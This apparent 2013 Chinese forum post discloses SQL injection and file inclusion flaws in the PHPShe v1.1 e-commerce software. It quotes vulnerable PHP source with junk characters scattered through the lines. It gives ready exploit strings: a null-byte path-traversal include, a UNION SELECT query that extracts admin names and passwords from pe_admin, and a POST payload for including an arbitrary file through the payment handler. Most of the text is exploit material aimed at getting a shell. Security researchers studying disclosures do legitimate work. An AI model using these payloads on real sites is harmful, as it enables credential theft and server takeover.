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标题: phpshe v1.1多处SQL注入和文件包含漏洞Getshell [打印本页]

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作者: admin    时间: 2013-4-16 16:45
标题: phpshe v1.1多处SQL注入和文件包含漏洞Getshell
/*******************************************************/
( m* o! }. g+ @6 U, V0 r/* Phpshe v1.1 Vulnerability
, K( q; ]7 n4 a) T. F" r/ A/* ========================
6 ~  ?4 Q7 Z" f6 R1 |6 U7 b( N: g& |/* By: : Kn1f3
6 c9 W/ S6 r7 p6 ~/* E-Mail : 681796@qq.com
/*******************************************************/
0×00 整体大概参数传输

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4 U2 M* m. d1 I& W, ^5 c
//common.php
if (get_magic_quotes_gpc()) {
6 l8 F0 B, e8 H3 o3 f0 w8 }!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
}
: N7 b2 }% z/ y: w2 K& ?1 celse {
6 y. }- u1 O( k3 W+ p0 u!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
6 \2 j& k; g1 M- ~# r!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
}
session_start();
!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
& ]% Z6 K  B- r!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');
' c- m" h: r2 a
0×01 包含漏洞
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//首页文件
<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
4 k! `- Q4 n5 V  q% T9 Rpe_result();
?>
0 l( a/ `3 `, p- K) t//common 文件 第15行开始
9 d0 ^% V! x: m& h; O) o$ ]url路由配置
$module = $mod = $act = 'index';
( W# Z3 d3 J9 {9 ^. O+ |$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
4 B5 j7 ]% r  j; {: Y5 H0 Y$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
, v  G- o' ^5 f1 R: ?//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00
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0×02 搜索注入
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<code id="code2">

//product.php文件
case 'list':
$category_id = intval($id);
& T( X9 T3 Z* ?$ j' e$ f9 m$info = $db->pe_select('category', array('category_id'=>$category_id));
//搜索
' U. k5 w' E2 R% x7 A$sqlwhere = " and `product_state` = 1";
& a! N2 a1 d& q- q! A" [) Lpe_lead('hook/category.hook.php');
9 j# L# u" Y% x0 t- L/ m8 Rif ($category_id) {
. M9 g% s3 y/ e. R8 j7 y  iwhere .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
# l& l! u- h! n) V0 ^9 u}
  k. S) w: x; b* q8 Z" @- K, M: W$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
' J5 g  n" J2 Z0 V, v1 pif ($_g_orderby) {
$orderby = explode('_', $_g_orderby);
) U6 z, h' P) W6 n% N2 [6 ^$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
}
else {
$sqlwhere .= " order by `product_id` desc";
5 T3 B# C  ?+ G* ?9 E}
7 M3 ?2 k8 I6 F$ T: A* n# S$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
+ u# ~* i! r% C5 {6 C//热卖排行
$product_hotlist = product_hotlist();
! b* C) @5 ?1 b, v* _//当前路径
$nowpath = category_path($category_id);
$seo = pe_seo($info['category_name']);
1 Y/ y* n/ j! l0 m- V( Oinclude(pe_tpl('product_list.html'));
- k: v$ i: @, T4 J+ x//跟进selectall函数库
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
* G) J7 D0 L( t{
: [1 D- ?# L* G//处理条件语句
9 t- W! V# t! [* l" X4 k" I9 S$ o$sqlwhere = $this->_dowhere($where);
, t/ r+ g2 L# ]- D; |2 Yreturn $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
6 \- t+ U5 b6 Y% c7 l. T}
//exp
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
8 r# v; @4 y; Y% x% o) y

</code>
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0×03 包含漏洞2
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: O" `! N5 A/ ]! ^' H' E1 f7 X! s<code id="code3">

//order.php

case 'pay':

$order_id = pe_dbhold($_g_id);

) y" h0 k" y) c9 H/ k7 X$cache_payway = cache::get('payway');

" f0 J6 E7 e0 |; f1 r/ Jforeach($cache_payway as $k => $v) {

$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

if ($k == 'bank') {

$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

}

$ ^9 v: V+ t; X6 o( w5 Z}

$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

!$order['order_id'] && pe_error('订单号错误...');

if (isset($_p_pesubmit)) {

( w8 X4 j/ m, k* A# _3 D8 M- Dif ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

- j/ d. o- u  @: ]2 t4 w5 [+ [$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

foreach ($info_list as $v) {

$order['order_name'] .= "{$v['product_name']};";

}

$ e, o9 S0 W3 e; e0 L8 Iecho '正在为您连接支付网站，请稍后...';

include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

$ {1 w' u, E/ X- G7 |) P}//当一切准备好的时候就可以进行"鸡肋包含了"

else {

5 }3 f: t0 S1 |5 L9 }- lpe_error('支付错误...');

}

}

$seo = pe_seo('选择支付方式');

2 k4 J, G, |$ o( M" kinclude(pe_tpl('order_pay.html'));

break;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
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